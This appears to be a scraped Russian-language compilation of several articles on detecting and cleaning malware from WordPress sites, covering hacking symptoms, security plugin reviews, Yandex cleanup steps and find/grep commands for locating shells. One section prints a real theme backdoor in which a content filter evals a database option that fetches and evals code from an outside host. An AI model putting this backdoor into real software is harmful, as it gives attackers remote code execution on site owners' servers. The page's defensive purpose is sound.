Проверить шаблон на вредоносный код. Как искать вредоносный код на WordPress. Поиск измененных файлов за период

Я буду больше обращать внимание на WordPress, но многие советы будут полезны и людям, работающим на других движках.

Часто ко мне обращаются люди с вопросом чистки сайта на WordPress и как определить что сайт был взломан. Я расскажу вам какие бывают вирусы и насколько сложно с ними бороться.

Симптом первый. Сообщение google «Возможно, этот сайт был взломан»

Очень частая история, когда приходит клиент на фирму, или обращается напрямую через блог и говорит, что найдя свой сайт в выдаче google, он натыкается на сообщение «Возможно, этот сайт был взломан».

Это сообщение появляется, если google подозревает, а точнее почти уверен, что ваш сайт был взломан. Что делать и куда бежать в таком случаи? Действий не так много их всего 5:

  1. Почистить сайт от шелов и разных вирусов , об этом чуть позднее;
  2. обновить WordPress и все плагины со старых версий до самых последних ( );
  3. настроить защиту сайта , тоже позднее расскажу немного об этом;
  4. проверить насколько хороший хостинг и перенести на более надежный, я советую как и раньше;
  5. проверить, не лежат ли вирусы в базе данных ;

Не забывайте делать бекап перед каждым действием, а также после всех 5 этапов, тоже сделайте бекап, в том случаи, если вам не удалось с первого раза почистить и надо искать более изощренные методы сканирования сайта.

Если вы все почистили, а ошибка «Возможно, этот сайт был взломан» осталась

Я бы советовал зайти в Webmaster Google и запросить повторную проверку сайта. Скорость проверки Webmaster Google будет зависеть от степени заражения.

Бывают 2 степени сложности заражения:

  1. Если вам залили вредоносный код через который получают доступ к сайту, публикуют ссылки … Вообщем ломают только вас и вредят только вам.
  2. Если ваш сайт взломали и пытаются разослать спам или ломать других.

В первом случаи сотрудники Google даже не проверяют сайт, так как это может сделать система на автомате (у меня было от 10 минут до нескольких часов).

Во втором случаи для того чтобы убедится что с вашего сайта нет угроз которые могут нанести вред другим сайтам Google отправляет специального человека который выверяет сайт. Во втором случаи проверка может длиться 1-2 недели.

Советую не затягивать с чисткой сайта, так как чем дольше будите оттягивать, тем хуже буду ваши позиции в поисковых системах.

Симптом второй. Вирус редиректит на другой сайт

Такие вирусы встречаются сплошь и рядом. Искать такие вирусы необходимо в файле htaccess в корне сайта, если там нет, то можно поискать файл htaccess и в других папках сайта. Еще можно перебрать функции редиректов которые могут использоваться на разных языках программирования. Я бы советовал сканировать сайт на наличие бекдоров, ведь вам же этот код как-то внедрили. Начинайте сканировать WordPress на вирусы , чистить, и менять пароли.

Скрытый редирект с Google или Yandex

Более сложный вирус с редиректом. Часто редирект ставиться под определенную поисковую систему, так он менее заметен для администратора, а вот пользователи, которые заходят с поисковых запросов попадают на сайт какой-то ерунды, которую им пытаются продать.

Мне попадался вирус на сайте WordPress который пытался по тематике определить примерно что надо пользователю и под запрос подставлял партнерку одного большого ресурса, на котором есть куча товаров самых разных видов.

Редирект с мобильного устройства IPhone или Android это еще круче спрятанный редирект, который перенаправляет только мобильный трафик. К щастью поисковые системы в своих вебмастерах хорошо видят это, но в любом случаи иногда полезно зайти на сайт с любого мобильного устройства и посмотреть как он работает.

Редирект со всех ссылок это еще один до простого деревянный, но очень вредный симптом. В перву очередь вредный для продвижения сайта. Такое случалось раньше на заре интернета, когда хакеры ломали много и дальше часто не знали толком что делать со взломанными сайтами. Первое что приходило на ум, просто перенаправить весь трафик на какую-то партнерку или попытаться втюхать товар, вдруг кто-то что-то купит. Проблема у них была в том, что трафик был не целевой и продажи получались крайне редко, в этом я как SEO специалист могу вас заверить.

Подмена контекстной рекламы Google и Yandex

Такой вирус увидеть вообще сложно было, клиент случайно нажал на свою рекламу и попал на какой-то левый сайт. Очень удивился и попросил меня удалить все угрозы.

Вирус по симптомам показался сложным, но разобравшись поподробнее, я увидел, что код там был простой. Хакер оказался гениальным программистом. Удалив вирус пришлось еще находить кучу зашифрованного кода который был раскидан по всем файлам сайта. Сложно, но уже все поправлено.

Симптом третий. Хостинг пожаловался что с сайта постоянно рассылается СПАМ

Ох уж этот спам, трепет он нервы людям, а вот отдачи для хакеров от такого вида рекламы особо можно не ждать, так как аудитория чаще всего не целевая.

Какие же проблемы возникают при постоянном заражении сайта и рассылке спама?

  • У хостингов это головная боль с нагрузкой на серверах,
  • сайтам проседание в выдаче поисковых систем.

Все плохо, но лечить можно. Простые методы, такие как обновить все плагины и WordPress тут не помогут, все сложнее. Нечего прикладывать подорожник к экрану и ждать когда заживет! :-). Используйте все советы по выявлению и обезвреживанию вирусов, описанные в первом симптоме. Кстати наверное большая часть хостингов не обеспечивают должной защиты, заражение может быть через их сервисы, а при заражении ругаться такие хостинги будут на владельцев (себя же не обвинишь!). Про хостинги поговорим чуть позднее.

Кстати при массовой рассылке спама у вас может просто на сайте высвечиваться ошибка 503, так как сервер ложится. Советую просмотреть, что пишет сервер в логах и какой файл обрабатывается. Кстати спам, который приходит постоянно на ваш сайт может тоже быть первым звоночком, что сайт у вас слабо защищен или защита давно не обновлялась.

Симптом третий. Вирус вставляет код в каждый пост блога

Весело так получается, например вы вставляете в админке в новую статью картинку или какой нибудь медиафайл, а с ним вставляется код, который в скрытом виде подставляет зараженный файл. Для удаления такого вируса мне пришлось перебрать те куски кода которые вставлял вирус найти схожие места в коде, по ним найти все фрагменты вируса в базе и удалить его. В общем чистить было весело и задорно, все сотрудники сидевшие рядом узнали массу новых слов.

Как защитить сайт от вирусов с WordPress я делаю именно так

  1. Выбирайте только с разграничениями прав между доменами, так чтобы взломав один сайт на хостинге злоумышленник не смог добраться до остальных.
  2. Закрывайте логины пользователей так, чтобы их нельзя было найти. Часто всякие WordPress плагины форумов, соцсетей, магазинов их очень хорошо отображают.
  3. Пользуйтесь только проверенными плагинами и темами, я бы советовал качать и из официального репозитория. Можно также покупать темы на известных маркетплейсах на которых есть контроль качества кода. Я обычно если покупаю то использую маркетплейс .
    Если тема старенькая и ее не как достать из надежного источника, то лучше ее даже не использовать и выбрать другую. Как альтернатива можно дать тему на чистку специалиту, но цена может быть почти такой же как купить новую.
  4. Купили хостинг, создали сайт и настраивайте сложные пароли это залог защиты, по крайней мере от 90% взломов. Внушительно, не правда ли?
  5. Ставьте капчу везде где есть формы. Форма логина, регистрации, восстановления пароля, комментарии. Так можно отсеять часть роботов, которые могут перебрать пароли.
  6. Блокируйте запросы в строке адреса, которые могут привести к ошибкам.
  7. Скрывайте на сервере вывод ошибок.
  8. Хорошо скрывайте версию движка и сам движок, насколько это возможно.
  9. Время от времени делайте ручную копию сайта на внешний носитель.
  10. Вовремя обновляйте все плагины после создания дампа базы и копии файлов (причем ели давно не обновляли, то лучше обновлять версию за версией).

Если WordPress сайт постоянно заражают вирусами значит, пропустили дыру или бекдор

  1. Если сайт был заражен, то делайте только .
  2. Удаляйте все неактивные плагины и темы, весь хлам, где могут быть вирусы.
  3. Чистите все найденные вредоносные коды.
  4. Только когда все вычистите, начинайте ставить защиту.

От всех взломов защититься невозможно, все что было сделано человеком им же может быть и взломано, но хорошая защита может оттянуть такой взлом лет на 100.

Все виды вирусов ухудшают показатели сайта в поиске, а владелец может о них даже и не знать, пока хакер просто не начнет обрабатывать его сайт. Вообще очень желаю всем хакерам найти свою нишу, так как люди, которые делают такой замечательный и крутой код могли бы делать его с пользой для других и себя, не зарабатывать на взломах сайтов, а предлагать крутые сервисы которые приносили бы им постоянный доход.

Могу удалить вирус с сайта на WordPress и настроить защиту

Если так случилось что ваш сайт был заражен и нарушена его работоспособность, то напишите мне и я постараюсь вам помочь.

Skype: maxix2009
Mail: info@сайт



Вы знали, что 40% пользователей покидают сайты с плохим дизайном? Зачем терять прибыль? Выберите и установите прямо сейчас один из 44 тысяч премиум шаблонов для сайтов. Идеальный выбор для вашего бизнеса!

WordPress – одна из самых популярных систем управления контентом (CMS), которую можно использовать как для ведения блога, так и для создания корпоративного сайта или открытия полноценного . Для нее создаются плагины и темы, из которых можно выбрать что-то интересное. Некоторые из них бесплатные, а за некоторые придется заплатить. Так вот, чаще всего бесплатные подвержены различного рода уязвимость. Например, создатели таким тем и плагинов могут умышленно вносить в них вредоносный код для собственной выгоды. В лучшем случае это будут скрытые бэклинки, которые ведут на их сайты. При этом обычный пользователь не будет даже подозревать об этом. Наши читатели часто спрашивают у нас: «Возможно ли и как найти вредоносный код на сайте WordPress?».

Конечно, возможно! И сделать это довольно просто. Для сканирования сайта Вордпресс на вредоносный или нежелательный код создаются бесплатные и премиум (платные) инструменты. Выполнять регулярные проверки своего веб-ресурса, сканируя его на присутствие потенциально вредоносного кода, не только полезно, но и крайне необходимо. Я расскажу вам о нескольких вариантах, с помощью которых можно быстро и без особых сложностей осуществлять такие проверки.

В статье я собрал восемь лучших инструментов, которые помогут вам разобраться с вредоносным кодом в вашем шаблоне или на сайте на базе Вордпресса. Кстати, если помните, в прошлом месяце я уже рассказывал вам про плагины для сайтов WordPress. Прочтите – вам будет не менее интересно.

Как найти вредоносный код на сайте WordPress – 8 способов

  1. WP Anti Hack File Monitor

Этот простой плагин позволит защитить сайт от хакеров, которые могут попытаться изменить ваш код для выполнения злонамеренных действий. Это может быть как добавление бэклинков, так и отправка с вашего сайта спама. Изменяя файлы WordPress, они позволяют сделать все так, чтобы их действия осуществлялись в фоновом режиме. То есть незаметно для пользователя. Именно поэтому вам обязательно нужен инструмент для мониторинга файлов.

Этот инструмент представляет собой скрипт, способный вычислять любые изменения в файле, а также фиксировать удаление старых и создание новых файлов. В него встроено три ключевых компонента, которые помогут найти вредоносный код на сайте WordPress: функция создания копий файлов, мониторинга и уведомления.

Благодаря созданию копий файлов вы сможете откатиться к предыдущим версиям файлов. Удобный компаратор файлов позволит определить какие строки были изменены и каким образом. Это позволит вам не заходить на FTP. Уведомления можно отправлять по смс или на e-mail. Для отправки SMS-сообщений используется Twilio API. Но не волнуйтесь – вас не будут спамить сообщениями. Для каждого изменения файла будет отправляться строго одно уведомление. При необходимости можно выставить ограничение на количество отправляемых сообщений в день.

Если вам не нужно осуществлять мониторинг определенных компонентов своего сайта (например, загруженных файлов или конкретных плагинов), любые файлы и каталоги можно легко исключить из списка для проверки.

Выберите одно из лучших решений для WordPress, чтобы уверенно защитить свой сайт.

  1. Theme Authenticity Checker

TAC – это плагин, позволяющий проверять source-файл всех установленных и используемых шаблонов на присутствие «плохого» кода, в частности на наличие ссылок и Base64-кодов, спрятанных в футере. При их обнаружении инструмент показывает путь к шаблону, номер нужной строки и конкретный фрагмент «сомнительного» кода. С этим плагином администратору WordPress будет проще работать уже непосредственно с куском подозрительного кода.
Плагин доступен в директории WordPress. Имеет неплохой рейтинг и 80 тысяч скачиваний.

WordPress вредоносный код: Как избавиться от нежелательных угроз?

  1. Sucuri Security

Пожалуй, довольно сложно найти более известную систему безопасности, чем Sucuri. Она себя зарекомендовала, как один из продвинутых и популярных плагинов для обеспечения безопасности и защиты WordPress и проверки на вредоносное ПО. Ключевые функции системы это мониторинг файлов, загружаемых на сайт, контроль «черного списка» и оповещения безопасности. У Sucuri даже есть специальный инструмент для удаленной проверки на вредоносный код.

Особую ценность представляет премиум версия. После установки система автоматически включает защиту и осуществляет мониторинг сайта и защиту от любых угроз в режиме 24/7. Она контролирует и проверяет любые действия, происходящие на сайте, чтобы вовремя отслеживать появление неприятностей. Если у Sucuri есть какие-то подозрения, она блокирует конкретный IP, откуда идет угроза. Если происходят уже критические ситуации, плагин способен отправлять оповещения. Еще одна полезная вещь, которая есть в этой системе, это услуга по чистке сайта от вредоносного кода, но для платной версии она уже входит в стоимость. Так что никаких дополнительных затрат у вас не будет, независимо от размера сайта.

В плагине также есть мощное дополнение с файрволом, которое покупается отдельно и позволит сделать ваш сайт еще более безопасным.

Услугами Sucuri пользуются различные категории пользователей, в том числе и такие серьезные бренды и компании, как CNN и TechCrunch. Эти ребята знают, что делают. К тому же, они на рынке уже очень давно, поэтому им можно доверять.

  1. Anti-Malware

Это плагин на Вордпрессе, который можно использовать для выполнения проверки и для устранения нежелательных угроз, вирусов и других всевозможных вредоносных объектов. Особенными возможностями плагина являются полное и ускоренное сканирование, а также удаление так называемых «знакомых» угроз в автоматическом режиме. Сканирование можно при необходимости настроить. Бесплатная регистрация доступна на сайте производителя.

Если вам не хочется иметь дело со скриптами, которые выполняют обновление плагина, обращаясь к сайту и предоставляя при этом информацию о вашем местоположении, тогда к этому варианту стоит подходить с осторожностью.

Как найти вредоносный код на сайте WordPress и как удалить вредоносный код с сайта WordPress

  1. Quttera Web Malware Scanner

Этот премиум плагин помогает сканировать сайт, обеспечивая уверенную защиту от инъекций «плохого» кода и различного рода угроз и вирусов. В нем заложены отличные функции, а именно сканирование и нахождение незнакомых хакерских программ, отслеживание статусов в так называемом «black list», мощный движок для выполнения сканирования с интегрированным AI-интеллектом, отслеживание исходящих линков и так далее.

С free-версией можно реализовать поиск нежелательного кода, а другие услуги, такие как очистка от «плохого» кода, исключение из черного списка и высококлассная поддержка обойдутся уже в 119$ в год (за один домен) и выше.

  1. Wordfence

Хотите защититься от киберугроз и быстро находить вредоносный код на сайте WordPress? Тогда вам стоит присмотреться к этому плагину, о котором мы уже упоминали в обзоре премиум плагинов для .

Плагин обеспечивает уверенную защиту от «знакомых» ему взломщиков в режиме real-time, предоставляет возможность двухфакторной аутентификации, блокировки целой вредоносной сети, а также возможность сканирования на использование встроенных инструментов обхода системы защиты и осуществления несанкционированного доступа (бэкдоров). Вышеупомянутые услуги доступны бесплатно, но есть и более расширенные возможности, за которые придется выложиться от 99$ за год.

Как найти и устранить вредоносный код на сайте WordPress?

  1. AntiVirus for WordPress

Несложный в освоении и работе плагин, с которым выполнять сканирование , выбранной и используемой для сайта, на присутствие нежелательного кода будет проще простого. С ним вам будет доступна возможность получать оповещения о найденных вирусах через админ-панель. В него встроена функция ежедневного сканирования, с помощью которой можно получать уведомления о подозрительных событиях на электронную почту. Познакомьтесь с возможностями этого плагина, нажав на кнопку ниже.

  1. Super Security

Этот плагин предоставит вам комплексную систему защиты WordPress со встроенным сканером файлов темы, который сравнивает результаты с обновляемым RSS-списком известных проблем WordPress. Базовая задача этого плагина – защита сайта от вирусов и злонамеренных атак путем сканирования, резервного копирования и проверки трафика.

В плагине есть специальная панель cPanel, в которой можно осуществлять изменения базы данных, выполнять резервное копирование базы данных, папок и установленной WordPress, и настраивать пермиссии для файлов и папок. Также вам будут доступны уведомления безопасности и возможность получения статистики с сервера. Еще есть поддержка «белого» списка и функция «Google Safe Browsing» для мониторинга вредоносных программ и фишинга.

Super Security совместим с системой для получения статистики о трафике в режиме «real time» Easy Stats Pro и инструментом для сканирования файлов и папок на вирусы и наличие вредоносного кода WP Antivirus , который был представлен позицией выше.

Плагин отмечен многими пользователями Sucuri, как такой, которому стоит доверять. Если вам необходимо достойное решение, чтобы обезопасить свой сайт, подумайте над тем, чтобы выбрать Super Security.

Теперь вы знаете, как найти вредоносный код на сайте WordPress, как от него избавиться и самое главное – теперь вы подберете для себя такое решение, которое подойдет под ваши требования и цели. Если у вас возникнут какие-либо вопросы, обязательно нам напишите в комментариях.

Артём – автор многочисленных обзоров и статей на сайте проекта сайт "Веб-лаборатория успеха", посвященных шаблонам, плагинам, курсам и другим тематикам сайта. Эксперт по подбору шаблонов и плагинов для платформы WordPress и др. Увлечения: чтение интересной литературы и активный отдых.

Привет друзья. Вы уверены, что бесплатный шаблон WordPress, который вы используете для своих сайтов и блогов действительно безопасный и не содержит скрытых угроз и вредоносного кода? Вы полностью в этом уверены? Абсолютно?)

Думаете, прогнали шаблон через , удалили из него скрытые ссылки, и дело сделано. Файлы сайта сканируете периодически антивирусом, заглядываете в инструменты вебмастера Яндекса во вкладку Безопасность и с облегчением видите там сообщение: «Вредоносный код на сайте не обнаружен «.

Вот и я так думал. Не хотел бы вас расстраивать, но…

Скрытый опасный код в бесплатных шаблонах WordPress

Вот такое письмо я получил на прошлой неделе на почту от своего хостинга. С недавних пор они ввели регулярную проверку всех файлов сайта на поиск вредоносного содержания и таки они это содержание у меня обнаружили!

Началось все с того, что я зашел как-то днем на свой сайт и не смог его запустить — вылезала ругательная надпись про не найденные файлы с расширением php. Немного напрягшись пошел изучать содержимое папки с сайтом на хостинге и сразу же обнаружил проблему — мой файл шаблона fuctions.php был переименован в functions.php.malware что как бы неоднозначно намекало — здесь поработал антивирус или что-то вроде этого) Зайдя на почту я и обнаружил вышеупомянутый отчет от хостера.

Первым делом я конечно же начал проверять данный файл, изучал его содержимое, сканировал всевозможными антивирусами, десятками онлайн сервисов по проверке на вирусы и т.д. — в итоге ничего не обнаружил, все в один голос утверждали что файл совершенно безопасный. Я разумеется выразил свои сомнения хостеру, мол вы чего-то напутали, но на всякий случай попросил их предоставить отчет об обнаружении вредоносного куска кода.

И вот что они мне ответили

Пошел гуглить инфу о данном коде и серьезно задумался…

Как найти фрагмент вредоносного кода в шаблоне

Как оказалось, это действительно нетривиальный прием, который позволяет заинтересованным лицам передавать данные на ваш сайт и изменять содержимое страниц без вашего ведома! Если вы используете бесплатный шаблон, то настоятельно рекомендую проверить свой functions.php на наличие следующего кода :

add_filter(‘the_content’, ‘_bloginfo’, 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option(‘blogoption’))) !== false){
return $co;
} else return $content;
}

Даже с моими весьма неглубокими познаниями в php видно, что создается некий фильтр, привязываемый к глобальной переменной post и content отвечающие за вывод контента только на страницах записей блога (условие is_single). Уже подозрительно не так ли? Ну а теперь посмотрим что же такого собирается выводить данный код у нас на сайте.

Интересная опция blogoption запрашиваемая в базе данных так же выглядит весьма подозрительной. Заходим в нашу базу данных MySQL и находим там таблицу под названием wp_options, если вы не меняли префиксы то она так будет выглядеть по умолчанию. И в ней находим заинтересовавшую нас строку под названием blogoption

Какая красота! Мы видим следующую опцию


return eval(file_get_contents(‘http://wpru.ru/aksimet.php?id=’.$post->ID.’&m=47&n’));

Т.е. нам с некого сайта (причем русского заметьте) возвращают содержимое, которое может нести в себе все что угодно! Любое количество ссылок, вредоносные коды, измененный текст и т.д. Сам сайт при заходе на него выдает 403 ошибку доступа, что не удивительно. Разумеется данную опцию я тоже удалил из БД.

По информации от пострадавших обычно возвращается точно такое содержимое вашей статьи с одной лишь модификацией — вместо какой-либо точки «.» в текст маскировалась открытая ссылка! И кстати, данная опция записывается в базу данных при установке самого шаблона, а затем код, который это делает благополучно самоуничтожается. И вот с такой дрянью я жил два года, и ни один антивирус или сервис мне так и не выявил данную угрозу за все то время. Честно говоря я не замечал, срабатывал ли когда-нибудь со мной такой прием, или же эту возможность блокировал мой плагин безопасности (а может одно из обновлений WordPressa закрыло эту дыру), но все равно неприятно.

Мораль про бесплатный сыр

Как вам изощренность наших «переводчиков» шаблонов (или тех кто выкладывает их у себя в каталогах)? Это вам не ссылки из футера выпиливать) Жалко я уже не помню, откуда я скачивал свой шаблон, давно это было, а то бы обязательно пару ласковых написал. И если бы на тот момент обладал тем же опытом, что имею сейчас, то однозначно не пользовался бы бесплатным шаблоном, или на крайний случай не качал бы с неизвестных источников!

Проще купить какой-нибудь официальный премиум шаблон за 15-20 баксов на том же и жить спокойно, зная что в нем нет дырок и зашифрованных ссылок, а если даже и найдутся уязвимости, то разработчики обязательно выпустят обновление, в котором эти дырки закроют. (У Артема кстати недавно вышла статья, где он как раз про премиум шаблоны рассказывает и даже раздает промокоды на зверские скидки, кому интересно )

Проанализируйте способы заражения:

    Злоумышленник может получить пароли к администраторским панелям CMS, FTP или SSH аккаунтам. Обычно пароли подбирают или крадут с помощью троянских программ , заразивших компьютер вебмастера.

    Уязвимости веб-приложения могут позволять посторонним размещать на сайте произвольный код.

    Из-за заражения внешнего ресурса (партнерской программы, баннерной системы, счётчика) предоставленный вам код может стать опасным для пользователей.

Найдите браузерный вредоносный код

Проанализируйте информацию о заражении в Яндекс.Вебмастере, в разделе Безопасность и нарушения . Раздел содержит перечень зараженных страниц, даты проверок и вынесенные антивирусом вердикты. Перейдя по ссылке в названии вердикта, вы увидите его описание и примерный вид кода, соответствующего вердикту (кода, который непосредственно появляется на страницах сайта).

Вы также можете самостоятельно воспроизвести проблему с помощью виртуальной машины .

Найдите серверный вредоносный код

  1. Остановите веб-сервер, чтобы оградить посетителей сайта от потенциальной опасности. Затем проверьте антивирусом файлы веб-сервера и все рабочие станции, с которых администрируют сервер (можно использовать бесплатные антивирусные утилиты) и смените все пароли: root, FTP, SSH, от административных панелей хостинга и CMS.
  2. Если до заражения была сделана резервная копия сайта, восстановите ее.
  3. Обновите до последних версий все используемые сайтом программы и поищите описания исправленных уязвимостей. Возможно, это поможет понять, каким образом сайт был заражен.
  4. Удалите лишних пользователей с расширенными правами и тщательно проверьте сервер на наличие веб-шелла, с помощью которого злоумышленник может изменять код сайта в обход авторизации.
  5. Проверьте наличие вредоносного кода:

      во всех серверных скриптах, шаблонах CMS, базах данных;

      в конфигурационных файлах веб-сервера или интерпретатора серверных скриптов;

      если вы используете shared-хостинг, проверьте другие сайты, расположенные на том же сервере - может быть заражен весь сервер.

Признаки вредоносного кода:

    Код посторонний или незнакомый, не соответствует резервной копии или системе контроля версий.

    Обфусцированный (нечитаемый, неструктурированный) код.

    Дата модификации файлов совпадает с временем заражения или более поздняя. Этот параметр ненадежен, так как дата модификации файлов может быть изменена вирусом.

    Использование характерных для вредоносного кода функций. Примеры таких функций для языка PHP:

    • динамическое исполнение кода (eval , assert , create_function);

Вредоносный код удален, что дальше?

Пометка об опасности сайта в результатах поиска будет снята, если при очередной проверке робот Яндекса не обнаружит заражения. Чтобы ускорить перепроверку, в интерфейсе Яндекс.Вебмастера, в разделе Безопасность и нарушения , нажмите кнопку Я все исправил .

Рекомендуем в течение нескольких недель после заражения регулярно перепроверять файлы и код сайта на тот случай, если использованная уязвимость не была устранена или злоумышленники по прежнему имеют доступ к сайту.

Если вы нашли что-то интересное

Яндекс постоянно ищет и исследует новые виды заражений и публикует результаты исследований в блоге Безопасного поиска Яндекса .

Если вы обнаружили на своем сайте вредоносный или подозрительный код,

Каждый вебмастер сталкивался с проблемой поиска уязвимых мест своего сайта, с помощью которых злоумышленник может загрузить свой вредоносный код, который так или иначе повлияет на работоспособность всего сайта, вплоть до его исключения из поисковой выдачи.

Чаще всего заражение происходит из-за человеческого фактора, но что делать, если сайт все-таки взломан?

Основные проблемы

Меньшее из зол - это найти и удалить сам вредоносный код. Основная же проблема заключается в поиске того уязвимого места, через которое злоумышленник загрузил свой код на ваш сайт, чтобы обезопасить себя от следующих подобных прецедентов.

Для поиска вредоносного кода написано немало антивирусных программ, создано много сервисов, которые могут указать на адрес зараженной страницы, предоставив даже сигнатуру и исчерпывающую информацию о самом вирусе. Но ни одно программное обеспечение не сможет сказать Вам, как этот «чужой код» появился на сайте. Здесь стоит полагаться только на себя.

Ниже я приведу несколько команд, которые можно применять при поиске зараженных файлов и/или загруженных к Вам на сайт shell-ов/backdoor-ов. Для этого нам потребуется программа Putty и SSH-доступ к сайту.

Поиск зараженных файлов

С помощью нижеперечисленных команд можно найти файлы, содержащие «опасные» элементы, с помощью которых злоумышленник может выполнить вредоносный обфусицированный код.

Вывод файлов будет записан в лог-файл в вашей текущей директории. В каждом файле будет содержаться путь к найденному файлу и строка с подозрительным участком кода.

find /Каталог с сайтом -type f -iname "*" -exec grep -Him1 "eval" {} \; > ./eval.log
find /Каталог с сайтом -type f -iname "*" -exec grep -Him1 "base64" {} \; > ./base64.log
find /Каталог с сайтом -type f -iname "*" -exec grep -Him1 "file_get_contents" {} \; > ./file_get_contents.log

Поиск директорий с полными правами на запись

Следующая команда выводит список директорий, на которых установлены полные права на запись. Именно такие директории используют для заражения сайта.

find ./Каталог с сайтом -perm 777 -type d

Поиск измененных файлов за период

Если Вы знаете когда примерно произошло заражение, можно посмотреть список измененных файлов за последние несколько дней (параметр –mtime -7 указывает на дату изменения отличную от текущей за 7 прошлых дней)

find ./Каталог с сайтом -type f -iname "*" -mtime -7

Что делать, если сайт заражен?

Итак, предположим, что мы нашли зараженные файлы или shell-файл. Перед тем как его удалить/удалить из него вредоносный код, запомните его имя (полный путь), дату изменения/создания файла, его gid и id пользователя (для unix систем), это позволит найти способ его загрузки к нам на сайт. Начнем с пользователя и группы:

Посмотрите, от какого пользователя работает Ваш web-сервер:

ps -aux | grep "apache2" | awk {"print $1"}


Если этот пользователь совпадает с пользователем, создавшим вредоносный файл, то можно предположить, что он был загружен через сам сайт. Если же нет – файл могли загрузить через ftp (мы настоятельно рекомендуем изменить пароли к FTP-серверу и административной панели сайта).

cat ./site.ru.access.log | grep “имя filenameOfShellScript”


И получаем вывод всех запросов к нашему скрипту. По нему определяем userAgent и ip адрес нашего взломщика.

Следующей командой мы получаем список всех запросов, на которые он к нам заходил.

cat ./site.ru.access.log | grep “ip” | grep “userAgent”


Внимательно его проанализировав можно найти уязвимое место на сайте, следует обратить особое внимание на POST-запросы из вывода, с помощью которых мог быть залит вредоносный файл.

Ижаковский Андрей, системный администратор